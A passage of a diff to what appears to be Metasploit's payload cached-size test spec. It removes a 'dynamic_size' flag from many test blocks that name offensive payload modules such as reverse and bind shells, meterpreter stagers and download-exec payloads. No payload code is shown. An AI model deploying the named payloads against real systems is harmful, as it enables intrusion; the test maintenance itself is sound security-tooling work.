                               'singles/cmd/unix/bind_jjs'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_jjs'
   end
@@ -936,7 +876,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_netcat'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_netcat'
   end
@@ -946,7 +885,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_netcat_gaping'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_netcat_gaping'
   end
@@ -956,7 +894,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_netcat_gaping_ipv6'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_netcat_gaping_ipv6'
   end
@@ -966,7 +903,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_nodejs'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_nodejs'
   end
@@ -976,7 +912,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/bind_socat_sctp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_socat_sctp'
   end
@@ -986,7 +921,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_socat_udp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_socat_udp'
   end
@@ -996,7 +930,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/reverse_socat_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_socat_tcp'
   end
@@ -1006,7 +939,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_perl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_perl'
   end
@@ -1016,7 +948,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_perl_ipv6'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_perl_ipv6'
   end
@@ -1026,7 +957,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/bind_r'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_r'
   end
@@ -1036,7 +966,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_ruby'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_ruby'
   end
@@ -1046,7 +975,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_ruby_ipv6'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_ruby_ipv6'
   end
@@ -1056,7 +984,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_stub'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_stub'
   end
@@ -1066,7 +993,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_zsh'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_zsh'
   end
@@ -1076,7 +1002,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/generic'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/generic'
   end
@@ -1086,12 +1011,11 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/interact'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/interact'
   end
 
-    context 'cmd/unix/php' do
+  context 'cmd/unix/php' do
     it_should_behave_like 'payload is not cached',
                           ancestor_reference_names: [
                             'adapters/cmd/unix/php'
@@ -1104,7 +1028,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/pingback_bind'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/pingback_bind'
   end
@@ -1114,7 +1037,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/pingback_reverse'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/pingback_reverse'
   end
@@ -1141,7 +1063,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse'
   end
@@ -1151,7 +1072,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_awk'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_awk'
   end
@@ -1161,7 +1081,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_bash'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_bash'
   end
@@ -1171,7 +1090,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/reverse_bash_udp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_bash_udp'
   end
@@ -1181,7 +1099,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_bash_telnet_ssl'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_bash_telnet_ssl'
   end
@@ -1191,7 +1108,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_ksh'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_ksh'
   end
@@ -1201,7 +1117,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_jjs'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_jjs'
   end
@@ -1211,7 +1126,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_lua'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_lua'
   end
@@ -1221,7 +1135,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/reverse_ncat_ssl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_ncat_ssl'
   end
@@ -1231,7 +1144,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_netcat'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_netcat'
   end
@@ -1241,7 +1153,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_netcat_gaping'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_netcat_gaping'
   end
@@ -1251,7 +1162,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_nodejs'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_nodejs'
   end
@@ -1261,7 +1171,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_openssl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_openssl'
   end
@@ -1271,7 +1180,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/reverse_socat_sctp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_socat_sctp'
   end
@@ -1281,7 +1189,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_socat_udp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_socat_udp'
   end
@@ -1291,7 +1198,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_ssh'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_ssh'
   end
@@ -1301,7 +1207,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_perl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_perl'
   end
@@ -1311,7 +1216,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_perl_ssl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_perl_ssl'
   end
@@ -1321,7 +1225,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_php_ssl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_php_ssl'
   end
@@ -1331,7 +1234,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_python'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_python'
   end
@@ -1341,7 +1243,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_python_ssl'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_python_ssl'
   end
@@ -1351,7 +1252,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/reverse_r'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_r'
   end
@@ -1361,7 +1261,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_ruby'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_ruby'
   end
@@ -1371,7 +1270,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_ruby_ssl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_ruby_ssl'
   end
@@ -1381,7 +1279,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_ssl_double_telnet'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_ssl_double_telnet'
   end
@@ -1391,7 +1288,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_stub'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_stub'
   end
@@ -1401,7 +1297,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_tclsh'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_tclsh'
   end
@@ -1411,7 +1306,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/reverse_zsh'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/reverse_zsh'
   end
@@ -1421,7 +1315,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/adduser'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/adduser'
   end
@@ -1431,7 +1324,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/bind_lua'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/bind_lua'
   end
@@ -1441,7 +1333,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/bind_perl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/bind_perl'
   end
@@ -1451,7 +1342,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/bind_perl_ipv6'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/bind_perl_ipv6'
   end
@@ -1461,7 +1351,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/bind_ruby'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/bind_ruby'
   end
@@ -1471,7 +1360,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/download_eval_vbs'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/download_eval_vbs'
   end
@@ -1481,7 +1369,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/download_exec_vbs'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/download_exec_vbs'
   end
@@ -1491,7 +1378,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/generic'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/generic'
   end
@@ -1533,7 +1419,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/powershell_bind_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/powershell_bind_tcp'
   end
@@ -1543,7 +1428,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/powershell_reverse_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/powershell_reverse_tcp'
   end
@@ -1553,7 +1437,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/windows/powershell_reverse_tcp_ssl'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/powershell_reverse_tcp_ssl'
   end
@@ -1571,7 +1454,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/reverse_lua'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/reverse_lua'
   end
@@ -1581,7 +1463,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/reverse_perl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/reverse_perl'
   end
@@ -1591,7 +1472,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/reverse_powershell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/reverse_powershell'
   end
@@ -1601,7 +1481,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/windows/reverse_ruby'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/reverse_ruby'
   end
@@ -1611,7 +1490,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/windows/jjs_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/windows/jjs_reverse_tcp'
   end
@@ -1637,7 +1515,6 @@
                           ancestor_reference_names: [
                               'singles/firefox/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'firefox/exec'
   end
@@ -1647,7 +1524,6 @@
                           ancestor_reference_names: [
                               'singles/firefox/shell_bind_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'firefox/shell_bind_tcp'
   end
@@ -1657,7 +1533,6 @@
                           ancestor_reference_names: [
                               'singles/firefox/shell_reverse_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'firefox/shell_reverse_tcp'
   end
@@ -1667,7 +1542,6 @@
                           ancestor_reference_names: [
                               'singles/generic/custom'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'generic/custom'
   end
@@ -1677,7 +1551,6 @@
                           ancestor_reference_names: [
                               'singles/generic/debug_trap'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'generic/debug_trap'
   end
@@ -1687,7 +1560,6 @@
                           ancestor_reference_names: [
                               'singles/generic/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'generic/shell_bind_tcp'
   end
@@ -1697,7 +1569,6 @@
                           ancestor_reference_names: [
                             'singles/generic/shell_bind_aws_ssm'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'generic/shell_bind_aws_ssm'
   end
@@ -1707,7 +1578,6 @@
                           ancestor_reference_names: [
                               'singles/generic/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'generic/shell_reverse_tcp'
   end
@@ -1726,7 +1596,6 @@
                           ancestor_reference_names: [
                               'singles/generic/tight_loop'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'generic/tight_loop'
   end
@@ -1736,7 +1605,6 @@
                           ancestor_reference_names: [
                               'singles/java/jsp_shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/jsp_shell_bind_tcp'
   end
@@ -1746,7 +1614,6 @@
                           ancestor_reference_names: [
                               'singles/java/jsp_shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/jsp_shell_reverse_tcp'
   end
@@ -1757,7 +1624,6 @@
                               'stagers/java/bind_tcp',
                               'stages/java/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/meterpreter/bind_tcp'
   end
@@ -1768,7 +1634,6 @@
                               'stagers/java/reverse_http',
                               'stages/java/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/meterpreter/reverse_http'
   end
@@ -1779,7 +1644,6 @@
                               'stagers/java/reverse_https',
                               'stages/java/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/meterpreter/reverse_https'
   end
@@ -1790,7 +1654,6 @@
                               'stagers/java/reverse_tcp',
                               'stages/java/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/meterpreter/reverse_tcp'
   end
@@ -1801,7 +1664,6 @@
                               'stagers/java/bind_tcp',
                               'stages/java/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/shell/bind_tcp'
   end
@@ -1812,7 +1674,6 @@
                               'stagers/java/reverse_tcp',
                               'stages/java/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/shell/reverse_tcp'
   end
@@ -1822,7 +1683,6 @@
                           ancestor_reference_names: [
                               'singles/java/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'java/shell_reverse_tcp'
   end
@@ -1832,7 +1692,6 @@
                           ancestor_reference_names: [
                               'singles/linux/aarch64/chmod'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/aarch64/chmod'
   end
@@ -1842,7 +1701,6 @@
                           ancestor_reference_names: [
                             'singles/linux/aarch64/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/aarch64/shell_reverse_tcp'
   end
@@ -1852,7 +1710,6 @@
                           ancestor_reference_names: [
                             'singles/linux/aarch64/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/aarch64/meterpreter_reverse_http'
   end
@@ -1862,7 +1719,6 @@
                           ancestor_reference_names: [
                             'singles/linux/aarch64/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/aarch64/meterpreter_reverse_https'
   end
@@ -1873,7 +1729,6 @@
                             'stagers/linux/aarch64/reverse_tcp',
                             'stages/linux/aarch64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/aarch64/shell/reverse_tcp'
   end
@@ -1883,7 +1738,6 @@
                           ancestor_reference_names: [
                               'singles/linux/armbe/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armbe/shell_bind_tcp'
   end
@@ -1893,7 +1747,6 @@
                           ancestor_reference_names: [
                               'singles/linux/armle/adduser'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/adduser'
   end
@@ -1903,7 +1756,6 @@
                           ancestor_reference_names: [
                               'singles/linux/armle/chmod'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/chmod'
   end
@@ -1913,7 +1765,6 @@
                           ancestor_reference_names: [
                               'singles/linux/armle/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/exec'
   end
@@ -1924,7 +1775,6 @@
                               'stagers/linux/armle/bind_tcp',
                               'stages/linux/armle/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/shell/bind_tcp'
   end
@@ -1935,7 +1785,6 @@
                               'stagers/linux/armle/reverse_tcp',
                               'stages/linux/armle/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/shell/reverse_tcp'
   end
@@ -1945,7 +1794,6 @@
                           ancestor_reference_names: [
                               'singles/linux/armle/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/shell_bind_tcp'
   end
@@ -1955,7 +1803,6 @@
                           ancestor_reference_names: [
                               'singles/linux/armle/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/shell_reverse_tcp'
   end
@@ -1965,7 +1812,6 @@
                           ancestor_reference_names: [
                               'singles/linux/mipsbe/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/exec'
   end
@@ -1975,7 +1821,6 @@
                           ancestor_reference_names: [
                               'singles/linux/mipsbe/reboot'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/reboot'
   end
@@ -1986,7 +1831,6 @@
                               'stagers/linux/mipsbe/reverse_tcp',
                               'stages/linux/mipsbe/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/shell/reverse_tcp'
   end
@@ -1996,7 +1840,6 @@
                           ancestor_reference_names: [
                               'singles/linux/mipsbe/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/shell_bind_tcp'
   end
@@ -2006,7 +1849,6 @@
                           ancestor_reference_names: [
                               'singles/linux/mipsbe/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/shell_reverse_tcp'
   end
@@ -2016,7 +1858,6 @@
                           ancestor_reference_names: [
                               'singles/linux/mipsle/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/exec'
   end
@@ -2026,7 +1867,6 @@
                           ancestor_reference_names: [
                               'singles/linux/mipsle/reboot'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/reboot'
   end
@@ -2037,7 +1877,6 @@
                               'stagers/linux/mipsle/reverse_tcp',
                               'stages/linux/mipsle/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/shell/reverse_tcp'
   end
@@ -2047,7 +1886,6 @@
                           ancestor_reference_names: [
                               'singles/linux/mipsle/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/shell_bind_tcp'
   end
@@ -2057,7 +1895,6 @@
                           ancestor_reference_names: [
                               'singles/linux/mipsle/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/shell_reverse_tcp'
   end
@@ -2067,7 +1904,6 @@
                           ancestor_reference_names: [
                               'singles/linux/ppc/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/ppc/shell_bind_tcp'
   end
@@ -2077,7 +1913,6 @@
                           ancestor_reference_names: [
                               'singles/linux/ppc/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/ppc/shell_find_port'
   end
@@ -2087,7 +1922,6 @@
                           ancestor_reference_names: [
                               'singles/linux/ppc/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/ppc/shell_reverse_tcp'
   end
@@ -2097,7 +1931,6 @@
                           ancestor_reference_names: [
                               'singles/linux/ppc64/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/ppc64/shell_bind_tcp'
   end
@@ -2107,7 +1940,6 @@
                           ancestor_reference_names: [
                               'singles/linux/ppc64/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/ppc64/shell_find_port'
   end
@@ -2117,7 +1949,6 @@
                           ancestor_reference_names: [
                               'singles/linux/ppc64/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/ppc64/shell_reverse_tcp'
   end
@@ -2127,7 +1958,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv32le/chmod'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv32le/chmod'
   end
@@ -2137,7 +1967,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv32le/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv32le/exec'
   end
@@ -2147,7 +1976,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv32le/reboot'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv32le/reboot'
   end
@@ -2157,7 +1985,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv32le/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv32le/shell_bind_tcp'
   end
@@ -2167,7 +1994,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv32le/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv32le/shell_reverse_tcp'
   end
@@ -2177,7 +2003,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv64le/chmod'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv64le/chmod'
   end
@@ -2187,7 +2012,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv64le/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv64le/exec'
   end
@@ -2197,7 +2021,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv64le/reboot'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv64le/reboot'
   end
@@ -2207,7 +2030,6 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv64le/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv64le/shell_bind_tcp'
   end
@@ -2217,27 +2039,24 @@
                           ancestor_reference_names: [
                               'singles/linux/riscv64le/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/riscv64le/shell_reverse_tcp'
   end
-  
+
   context 'linux/loongarch64/reboot' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
                               'singles/linux/loongarch64/reboot'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/loongarch64/reboot'
   end
-  
+
   context 'linux/x64/exec' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
                               'singles/linux/x64/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/exec'
   end
@@ -2247,17 +2066,15 @@
                           ancestor_reference_names: [
                               'singles/linux/x64/set_hostname'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/set_hostname'
   end
-  
+
   context 'linux/x64/pingback_bind_tcp' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [
                               'singles/linux/x64/pingback_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/pingback_bind_tcp'
   end
@@ -2267,7 +2084,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x64/pingback_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/pingback_reverse_tcp'
   end
@@ -2278,7 +2094,6 @@
                               'stagers/linux/x64/bind_tcp',
                               'stages/linux/x64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/shell/bind_tcp'
   end
@@ -2289,7 +2104,6 @@
                             'stagers/linux/x64/reverse_sctp',
                             'stages/linux/x64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
